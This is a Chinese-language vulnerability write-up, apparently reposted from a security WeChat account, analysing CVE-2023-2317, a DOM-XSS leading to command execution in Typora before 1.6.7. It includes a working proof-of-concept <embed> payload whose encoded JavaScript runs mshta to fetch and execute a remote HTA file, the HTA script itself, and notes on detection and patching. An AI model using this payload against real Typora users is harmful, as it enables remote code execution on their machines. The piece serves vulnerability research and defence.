漏洞简介
Typora是一款编辑器,该编辑器在1.6.7之前版本存在XSS漏洞。通过在HTML标签中加载 typora://app/typemark/updater/update.html,传入精心构造的参数,可以触发DOM-XSS漏洞,实现在Typora主窗口中加载恶意JavaScript代码。
漏洞分析
漏洞触发点位于Typora文件夹下的updater.html,可能是跟软件更新相关的文件。通过typora:// 协议可以直接访问到这个html文件,可以通过url给这个文件传参。
HTML文件中的JavaScript代码会从当前URL的查询字符串中提取名字为"labels"的参数值,解码后用JSON解析。然后使用document.querySelector("#sum").innerText 来修改id为"sum"的HTML元素内的文字内容,将labels[4]和labels[5]中的特定部分(可能与版本号有关)插入其中。
使用document.querySelectorAll("[data-label]") 找到所有拥有"data-label"属性的HTML元素,然后根据每个元素的"data-label"属性值作为索引获取labels对应位置的内容,并替换这些元素的innerHTML。
也就是说dom.innerHTML 会被赋值为从 labels 数组中获取的内容文本,这也是导致XSS漏洞的关键点。由于labels的参数可控并且可以含有恶意的JavaScript代码,会导致dom.innerHTML直接使用恶意的没有经过任何转义的外部输入,从而触发JavaScript代码执行。
DOM(Document Object Model)是一个浏览器中的编程接口,它表示HTML或XML文档的结构并承载一些基础操作。而innerHTML是DOM中的一个属性,它可以读写一个HTML元素的内容。
当你使用innerHTML插入HTML标签字符串到页面时,如果该字符串中包含JavaScript代码(例如,<script> 标签或者带有事件处理如 onclick, onerror, onload 等的标签),那么当这个插入操作发生时,包含在其中的JavaScript会被浏览器执行。如果直接将用户传入或控制的数据直接作为innerHTML进行设置,便可能引发跨站脚本攻击。
假设一个用户输入了以下HTML:<img src='nonexistent' onerror='alert("XSS")'> ,代码错误地将这个输入直接作为innerHTML插入了页面,这样的话onerror事件会在图片加载失败时触发,导致弹出对话框显示"XSS"。
在这段代码前面一点,可以看到有四个元素拥有"data-label"属性值,相对应labels的索引值为0、1、2、3。也就是说labels的前四个元素内容会被作为值赋给dom.innerHTML,XSS触发代码需要放在前四个元素中。
漏洞复现
安装有漏洞版本Typora 1.5.12:
Typora 支持在Markdown文档中使用一些特定的语法来插入和呈现多媒体内容,如图像、音频和视频等。其中<embed>标签是Typora的语法之一,用于插入嵌入式内容。
当<embed> 标签的 src 属性使用Typora的特定协议指定一个Typora内部的地址,例如 typora://app/typemark/updater/updater.html,这个地址是 Typora 内部的特殊地址,用于检查和下载 Typora 的更新文件。当在Typora中输入或访问这段内容时,Typora 会解析该语法,并根据其内部逻辑尝试访问和处理相应的更新功能。
参考网上的POC进行构造,给updater.html传参labels,里面可以多写几个空元素,需要在前四个元素中构造一个触发XSS漏洞的元素。
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ21zaHRhIGh0dHA6Ly8xMjcuMC4wLjEvY2FsYy5odGEnKQ=='))><%2fsvg>%22,%22%22,%22%22,%22%22]">
POC经过url解码和base64解码之后是这样的:
<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=["","","<svg/onload=top.eval(atob('reqnode('child_process').exec('mshta http://127.0.0.1/calc.hta')'))></svg>","","",""]">
其实可以把Typora页面当作一个浏览器,当在Typora中加载此PoC文本时,编辑器会使用typora:// 协议访问updater.html,其中的漏洞代码将构造的恶意JavaScript代码直接作为innerHTML插入了页面,导致XSS。XSS漏洞利用代码通过SVG标签中的 onload 属性来触发代码的执行。onload 事件在SVG标签被浏览器加载后触发,引发JavaScript代码执行。
新建md文件,写入poc代码,文本内容类型为html;
打开POC文件,JS命令将会执行,mshta将远程加载执行hta文件。
远程hta文件内容:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>demo</body>
</HEAD>
验证下对html代码的分析,将xss触发代码放到第五个元素中,漏洞就不触发了:
(这里还尝试过用curl拉取远程文件落地并执行,但是发现只能访问到远程文件,但是文件无法被拉下来落地,不知道是为什么... 另外本人对WEB漏洞研究的不多,如果有哪里写的不对欢迎指导交流~~)
漏洞检测
可通过EDR监控Typora.exe启动系统cmd执行可疑指令的行为(因为exec()方法一定会调用cmd)。当然应该也有其他的方法可以利用来执行命令,为了更全面的覆盖检测,我们甚至可以通过白名单的方式,将Typora.exe会正常启动的一些进程、执行的指令进行过滤,监控异常的行为,但是这样需要足够多的数据进行白名单统计。
漏洞修补
补丁获取链接:https://support.typora.io/What's-New-1.6
https://buaq.net/go-175535.html?utm_source=feedly
参考文章
https://mp.weixin.qq.com/s/xj08AP19KyFLYwWtHwmDrQ
原文始发于微信公众号(红蓝攻防研究实验室):Typora 命令执行漏洞(CVE-2023-2317)分析与复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论